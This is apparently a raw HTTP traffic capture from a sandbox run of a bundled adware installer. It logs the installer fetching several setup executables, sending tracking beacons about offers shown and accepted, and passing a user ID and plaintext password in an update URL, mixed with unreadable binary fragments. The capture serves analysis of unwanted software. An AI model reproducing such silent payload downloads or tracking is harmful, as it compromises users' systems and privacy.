GET /app/ping.ashx?e=/kyMh6fFcsT4YOj/qSs/oHlL/fEssKcTTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhhP9XtYEB8KiVYntFJILYSkP6jeETjJVHU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib1tPZRMWVoGLe738QELmpsR9IxxsIt 7em2Gbj8M3wP1hiM8 OtZ3vSGwtB4m15smKau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:12 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=eISsn0A7mAahuis9qfwvJZ/TkbZ2czqArWWqhIijSNnZhN5o5pkk8XKxIhAz9YyqMSx1JGlNOutVM62zr1/tcdADEiVewVReUu2ENw3GCyK5YDtbL5acPXscS/rum0dyUP gGlRflyueXXE4oNm6FfjcbTVOKlb2t5UU9B7DBN2oXYru/dbHg/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm9bT2UTFlaBi3u9/EBC5qbEfSMcbCLfu3pthm4/DN8D9YYjPPjrWd70q6MtCHv9YeSmrvcVl0Mf/w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:13 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 02:01:13 GMT..Content-Length: 0..

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=741597&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 02:01:29 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f75ccf11-a920-4df5-85cd-a4f65d27cbf9&Password=LlonLfTh&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1424743304&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=fxbnpe31jwfj4s45nywh3me4


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 02:01:24 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET /cgi-bin/CRL/2018/cdp.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: VVV.public-trust.com


HTTP/1.1 200 OK

Server: Apache/2.2.15 (CentOS)

Last-Modified: Wed, 04 Feb 2015 20:30:01 GMT

ETag: "200c0-420-50e490d42fd35"

Accept-Ranges: bytes

Content-Type: application/x-pkcs7-crl

Connection: Keep-Alive

Date: Tue, 24 Feb 2015 02:04:41 GMT

Content-Length: 1056

0...0......0...*.H........0u1.0...U....US1.0...U....GTE Corporation1'0
%..U....GTE CyberTrust Solutions, Inc.1#0!..U....GTE CyberTrust Global
 Root..150204203344Z..150510203844Z0...0....'.x..110110211653Z0....'..
..141119195306Z0....'B...141119195752Z0....'....141119200006Z0....'1-.
.150204203232Z0....'.:..071121154528Z0....'.v..080219183346Z0....'....
080514142515Z0....'....080515170349Z0....'....080924143337Z0....'#...0
81203144336Z0....''j..090209174351Z0....'b...100414181148Z0....'....08
0917150432Z0....'#...081203144209Z0....'#...081203144241Z0....'#...081
203144304Z0....'%u..081203144409Z0....'/9..090318130930Z0....'8...0907
15181853Z0....'TU..100113191852Z0....'k...101130163724Z0....'.B..11110
7193907Z0....'@...141119200409Z0....'....080917150312Z0....'....140709
175318Z0....'....141210173900Z0....'-E..141119195854Z0....'....1411192
00037Z0....'F...141217193909Z0....'F...141217193956Z..0.0...U........0
...*.H............&O......@<[email protected]%~Uy.A.u.F...........?..a.wqf?...
..U......m^....%..4.>....}.). ..%...GD....S...Y.L.D~....t{..@....^N
..q..&EXR.p,HTTP/1.1 200 OK..Server: Apache/2.2.15 (CentOS)..Last-Modi
fied: Wed, 04 Feb 2015 20:30:01 GMT..ETag: "200c0-420-50e490d42fd35"..
Accept-Ranges: bytes..Content-Type: application/x-pkcs7-crl..Connectio
n: Keep-Alive..Date: Tue, 24 Feb 2015 02:04:41 GMT..Content-Length: 10
56..0...0......0...*.H........0u1.0...U....US1.0...U....GTE Corporatio
n1'0%..U....GTE CyberTrust Solutions, Inc.1#0!..U....GTE CyberTrust Gl
obal Root..150204203344Z..150510203844Z0...0....'.x..110110211653Z

<<< skipped >>>

GET /pki/mscorp/crl/msitwww2.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: mscrl.microsoft.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=6545

Content-Type: application/pkix-crl

Date: Tue, 24 Feb 2015 02:04:04 GMT

Etag: "db7d2673984dd01:0"

Last-Modified: Sat, 21 Feb 2015 05:37:15 GMT

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

Server: ECAcc (fcn/40B2)

VTag: 27931941900000000

X-Cache: HIT

X-Powered-By: ASP.NET

Content-Length: 59435

0..'0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0.
..U....Microsoft IT SSL SHA2..150221052711Z..150301054711Z0...02..Z...
;.,k..0R......;..140527155450Z0.0...U.......02..Z...:h..jg.E......:..1
40527155449Z0.0...U.......02..Z...5$.A{.2.......5..140527155449Z0.0...
U.......02..Z...4.....D'Y.....4..140527155449Z0.0...U.......02..Z...2.
a...........2..140527155445Z0.0...U.......02..Z...1.....,.......1..140
527155444Z0.0...U.......02..Z...0.g.<..Q......0..140527155440Z0.0..
.U.......02..Z.../..W........../..140527155439Z0.0...U.......02..Z....
....<...........140527155436Z0.0...U.......02..Z...-d..Z..K>....
.-..140527155434Z0.0...U.......02..Z...,\...<.X......,..14052715543
0Z0.0...U.......02..Z... ..d!.y....... ..140527155428Z0.0...U.......02
..Z...*.v#..?'......*..140527155425Z0.0...U.......02..Z...).!=..6.....
..)..140527155423Z0.0...U.......02..Z...(wG...........(..140527155421Z
0.0...U.......02..Z...'..b..z.W.....'..140527155418Z0.0...U.......02..
Z...&..^/O.(......&..140527155416Z0.0...U.......02..Z...%.....nsc.....
%..140527155414Z0.0...U.......02..Z...$O.rB .2H.....$..140527155411Z0.
0...U.......02..Z...#.,5%..F......#..140527155409Z0.0...U.......02..Z.
.."../_...s....."..140527155407Z0.0...U.......02..Z...!..../.l......!.
.140527155404Z0.0...U.......02..Z... .Y.L_.9...... ..140527155402Z0.0.
..U.......02..Z......#M~.zZ........140527155400Z0.0...U.......02..Z...
...~..].G........140527155358Z0.0...U.......02..Z....>e...X....

<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:41:58 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 946

X-Cache: Hit from cloudfront

Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FOpgLPzltn6CiS2XMvLwJwHj40c7_J2xKQTi1ivGXUMGVpwckbRlGw==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=364470-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 02:00:31 GMT

Date: Tue, 24 Feb 2015 02:00:31 GMT

Content-Range: bytes 364470-583151/583152

Content-Length: 218682

Connection: keep-alive
HTTP/1.1 206 Partial Content..Pragma: no-cache..Content-Type: applicat
ion/octet-stream..Server: Microsoft-IIS/7.5..Content-Disposition: atta
chment; filename=SourceAppSetup.exe..X-AspNet-Version: 4.0.30319..SVR:
 SP003C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR"..Cache-Control:
 private, max-age=86400..Expires: Wed, 25 Feb 2015 02:00:31 GMT..Date:
 Tue, 24 Feb 2015 02:00:31 GMT..Content-Range: bytes 364470-583151/583
152..Content-Length: 218682..Connection: keep-alive.....Rm.`.>A....
...3.M)....:..&;6..a..L.......I..Y.....&.-U[.5.....t:w...5W..j.]bS.^..
.)..3`.......QK....1....8...A..V.].%..Aqu.Y.n6.|xJ...*...O .Hi.!..b-.j
......X.G.X..b.K5.._....}..~.'.....#..x6@..'J...x}.A....T^.y.....f. ..
.e1h.]..A...1..2..K....t.`.mN..|..J.3.k..s......6.`.`3.]#^........!.6.
.-...g..W<..CT()K......._FR..MtGd{..eT.#o..*4PKQ.Sb.n./q.cQ>.).o
1..V-.jg..\/..h.}x....m..I....o^~.TMk..p..)8..... .....\/.kM....Z7..".
.d"..P....].. ........K..u..:.....v.d........*..Zyr..:..vA@.{Ru.g.....
.v.....:L..F..17..!e*i.d.b.?<B9B\O.....U.#..^s..c/u......._k......%
...%...B{".....<......''..'...?...N.....erW.`.........2.(U.e....9(.
{,.\.....a^e.C`X....*...6.%x.HF...z.i..F}?.3......rr\.....A..}.[..%..H
.b...14..M..3...ljTG.9.1....t...YRy.-.v.34......W.Qx.g..K.d.@D..O..u..
V0...T...,...............(..x......t)g..%.Fm.& ......U.:.........=..l4
.......6........=f/.o...k. bY..YL....$a8.".....));._...J.......'H'~...
..x.[4..i.>Lwe=Tx.V...K.......6...lK..O..!.W.w...q..$31m.....z@<
y-<.........&...N..s\4h.3.R..Y........F....Ze.KKv..........N..*<<< skipped >>>

GET /smt2b/all/hat/row/setup.exe_b HTTP/1.1

Host: dl.ourinfoonlinestack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:02:05 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1424713134"

Last-Modified: Mon, 23 Feb 2015 17:38:54 GMT

Cache-Control: max-age=2284

Content-Length: 2615976

Content-Type: text/plain

X-HW: 1424743326.dop012.am4.t,1424743325.cds042.am4.c
..i..u7 e.....|.F`-..K.E..-)?.S...Q.......,g...N....!J.........Iq.A..P
.[OfYjd...z.=.Lc.... k....Q>[email protected]...;_
...E......il. w.H ....)".Pz. @.....A...O...C..=...-._..<.;.F....?.a
7.yc....<>[email protected];........y;.......|V.mu(*d.:.{.......(Y:.u....
../@p...I...,Zp.5........ ...)UJ.v..(...)2..g..6..b......(......8,...2
=.....P.%?eR....Jm.m:...Fo.z.w4 ...6....o.DR...Na...5}..A..V......&...
O.....XtC.....^.........)n.^.W\.9'`..J...2.4....Bg.....i...*....x.....
..H....1.!*.Z..n../l6....E'.........;..*h.....,..6}..l...W.".w...s....
.......l...a.......a.<[email protected].<Uk\]g..@a...&.4.agy|v`.....2.
[email protected]@.!.~......v..38..Z......!....lc..{.b...1....$DP.1.../..f...
{...13..!.R..I......."..|4.O}`.V.'....m.]..%..(. 1....-q.y.IP....^f^..
daq~%Q...<..|.|.....s.....P=&.5.0I ....:...].. a..j>....B.S....H
....r.'g....d..x..)..He"J.b...S...t.o..".fM..c.._..Wa.`.POG.FP..Z....m
uv.......2.Y.g..p]S.?...O.B?.=....,Y.p.~.x.........6$..x...r.?U.|.H)..
..h.#.......|r.e,''.4.v.$..&.G.Z......7...^;.%.T...F__.w.9n V.>.q#.
.w.e...x.X}..h..Sp...@...?....T.R./...O...t.`.b...).m..yi...g..*..H...
..w..f%....j....r2.....NC..U2.h..;.......fGA..cVo.....m.c[...b.......c
6.<==j.#&.h.D{p......n$.....X.u'.t.#....&.)B..]....'^..2........b(.
.....0".}d.!%.*...q..MI.o...T.-..@D.....=.?.w...a....7.6.P.......i.53_
..=.S.<j.qK.~k.s'.1..f.5..%r.^.%`....p..S^.......a...e\`.......5.".
.....;...a........!..:.:9V.....@;'...C..x.(&..s'..#...!Ap....W........
5<...j(...f..Vd.ho).U..Cs....... .%h1.(f.Q:e........<..fY{J.<<< skipped >>>

GET /download.php?msorder=5&smsorder=0&campaign=14776&tracker=2200 HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: app.easy-burner.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:35 GMT

Content-Type: octet-stream

Connection: keep-alive

Set-Cookie: softdown=1424743235116948; expires=Tue, 24-Feb-2015 02:05:35 GMT; path=/

Set-Cookie: install_cookie=14776,,; expires=Thu, 26-Mar-2015 02:00:35 GMT; path=/; domain=easy-burner.com

Content-Disposition: filename=easyburner-setup.exe

Content-Length: 1498064

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......o..< .ro 
.ro .ro"..o .ro"..o1.ro"..o..ro...o(.ro5..o(.ro...o>.ro .so..ro"..o
V.ro5..o*.ro"..o*.roRich .ro................PE..L...6..L..............
.......(......@\............@.................................].......
......................................................................
[email protected].......@.......
.............text...,........................... ..`.rdata............
..................@[email protected]...,[email protected]...
.............>..............@..@...................................
......................................................................
......................................................................
......................................................................
......................................................................
.....................................................U...E.].........U
..]............U.....E.....E..M.....M..}..v..U......M.;.u..E.....3.]..
.........U.....E.....E..M.....M..U.....U..}..v .E.....U....;.t..M.....
E....3.;.....D......3.]............U...E...P.M.Q.U...R.E.P........]...
.............U...E...P.M.Q.U...R.E.P........]................U..Q.E..E
....M.....M..U.....U..}..v..E.f.M.f.....E...]..........U...E..M.f..f..
]................U...E.....U....3.;......].......U...E.P.M.Q.U.R......
..]........U...E.P........]................U...E.P.M.Q.U.R.E.P....

<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.09634744334768447 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:32 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:00:32 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=mystartsearch&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=2&index_in_screen=1&index_in_session=2&0.9199674158321154 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:00:37 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:00:37 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /static/r07/sh200.html HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: s7.addthis.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Apache

Last-Modified: Fri, 13 Feb 2015 18:50:40 GMT

Content-Encoding: gzip

Cache-Control: public, no-check, max-age=86313600

P3P: CP="NON ADM OUR DEV IND COM STA"

Content-Type: text/html; charset=UTF-8

Content-Length: 22019

Accept-Ranges: bytes

Date: Tue, 24 Feb 2015 02:03:01 GMT

Via: 1.1 varnish

Age: 889870

Connection: keep-alive

X-Host: s7.addthis.com

X-Served-By: cache-fra1222-FRA

X-Cache: HIT

X-Cache-Hits: 44928807

X-Timer: S1424743381.175475,VS0,VE0

Vary: Accept-Encoding
...........}k{.F......f...!....!>[email protected].,...z....I%
...o...}G_...../..}.......hY....~..wo_.Y'..?...............;.F...e.UI.
.Y...o.YG.....<^.....Q^.......-..U..6j..:.._..nWiV..Z.^.x! [(..a..,
.YGm...a|..N.T.......:j.$M...y......|9.Egy|wT.w...Y.]/.....(O...>.a
)..:..4...*..v..[UT&E}T..T.....sx..T.|...................,.h...}..q...
v....s.....)E...QxF..(..:."...^.ex....Td.z9.X.%[email protected]
[email protected] q.......n....t .......j............iN.
..We.Q).4...............x.Z.3..Z7..#.L...t.......K...q..v.!. .."......
l....lQ =....4X'Y..Gi..h..'T>....#......5ORa9..C.U8.....*..i1~.l.,.
.0.:.......[CD...;...yUg..]..n.dKU.0..s.4.hi...(.0...d..y9j*Q.Z.$....|
-..a%l...8...e.k5.n..5..==*...o.W...q......{*..e.j<.EU.M...E.z..GOF
^.....N.zyu......H..3.,..K..h.V.mV.*.........x$nE.B."/h...9..Q;..v..e.
].DZ....]......O.>{~.9..;F..X.c..g.7...c.X\RsaF?...Fm=.;.P.!.....q.
X.]....r.....N.....fw..b....O..O..^Nf..................7..~<.b...O.
..J.......L.?.I.......P./v.....&.9.?&\......?C.d....N.*'....n...,.F...
....0..L........,.TIz..Z...o....... a.....S.-......8u.........w&..4..Y
#...*.T.-..... ..xM{....U...".L`[......D.|.2..7.(.cqi9n.V..4.5.U..:...
8..-W..6.@(......U.~[...t..V.Q.U~#d..fM...B!.PS.co..]=.W..x.....z9"...
 ..g:............x?3..J...Nf5.5....m...o.........z?.h3.C..['..F...u...
....W...u.f..P.......V..m.X....'...._..Kw.VK..~...=.G. ......M*....EF.
.Q.../w...;.l.j.........4h!.*#..ho1.W!...j..&Lm....#kH5..n........h...
E.~.YD..{.8#...0Zv=`n...rlF..n...v........c...!..#0p..<.n..K..d<<< skipped >>>

HEAD /eas?cu=25377&eme=WBrH3sO4 HTTP/1.1

Accept: */*

User-Agent: contype

Accept-Encoding: gzip, deflate

Host: as.perfcreatives.com

Content-Length: 0

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: eas_geo=c804:r15610:y25314:s5:z61000:i193.138.244.231; eas_uid=1-1424743379432100746


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:00 GMT

Server: Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5

Connection: close

Content-Type: text/html; charset=ISO-8859-1

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=241224-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 80408

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 241224-321631/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: j2c9C9ELyVt2jheKb2CATKaOBuK98k4dHm3UkzXaRc4JCHkbT7ickw==
.........$C......?AVbad_exception@std@@[email protected]...........
..?...................C...d=C.`=C.\=C.X=C.T=C.P=C.L=C.D=C.<=C.4=C.(
=C..=C..=C..=C..=C..=C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C..<C..<C..<C..<C..<C..<C..<
C..<C..<C..<C.|<C.p<C.l<C.h<C.\<C.H<C.<&
lt;C.............4<C.,<C.$<C..<C..<C..<C..<C..;C.
.;C..;C..;C..;C..;C..;C..;C.x;C.p;C.h;C.`;C.X;C.P;C.H;C.@;C.8;C.0;C.(;
C..;C..;C..:C..:C.`;C..:C..:C..:C..:C..:C..:C.x:C.p:C.h:C.T:C.,:C..:C.
......................................................................
........................C...............C...............C.............
..C...............C...................................C..........'C. ,
C..-C...C...C...C. .C.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............AC..AC.hAC.XAC.<AC.(AC..AC..@C..@C..@C..@C..@[email protected]@C
[email protected]@[email protected]@C.(@C..@C..@C..?C..?C..?C..?C..?C.T@C.|?C.d?C.T?C.&<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=510606

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:03:00 GMT

Etag: "54eba7be-1d7"

Expires: Mon, 02 Mar 2015 14:03:00 GMT

Last-Modified: Mon, 23 Feb 2015 22:20:46 GMT

Server: ECS (frf/87E3)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015022
3200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
..........2.Q ."..9V4..Q.I. ....&.:....=9..Z.|.(..'..../.03.....iWA...
...Y[.D....u.....{(g.)..,.V..s......}G...%.x..R9.n...~...t/..x.7R...'9
.%?.2......v.....8...=.O....([_I...M..y.d..1k..6.o....'....5.N.^.8. .c
...#.I.QN..#.j...F...)un...GV.W^.....Pa..LL..]4[...HTTP/1.1 200 OK..Ac
cept-Ranges: bytes..Cache-Control: max-age=510606..Content-Type: appli
cation/ocsp-response..Date: Tue, 24 Feb 2015 02:03:00 GMT..Etag: "54eb
a7be-1d7"..Expires: Mon, 02 Mar 2015 14:03:00 GMT..Last-Modified: Mon,
 23 Feb 2015 22:20:46 GMT..Server: ECS (frf/87E3)..X-Cache: HIT..Conte
nt-Length: 471..0..........0..... .....0......0...0........P5V.L.f....
....=.U..20150223200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V
.L.f........=.U...........z....@7....20150223200000Z....20150302200000
Z0...*.H..................2.Q ."..9V4..Q.I. ....&.:....=9..Z.|.(..'...
./.03.....iWA......Y[.D....u.....{(g.)..,.V..s......}G...%.x..R9.n...~
...t/..x.7R...'9.%?.2......v.....8...=.O....([_I...M..y.d..1k..6.o....
'....5.N.^.8. .c...#.I.QN..#.j...F...)un...GV.W^.....Pa..LL..]4[...ont>....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=510941

Content-Type: application/ocsp-response

Date: Tue, 24 Feb 2015 02:03:01 GMT

Etag: "54eba986-1d7"

Expires: Mon, 02 Mar 2015 14:03:01 GMT

Last-Modified: Mon, 23 Feb 2015 22:28:22 GMT

Server: ECS (frf/87A8)

X-Cache: HIT

Content-Length: 471
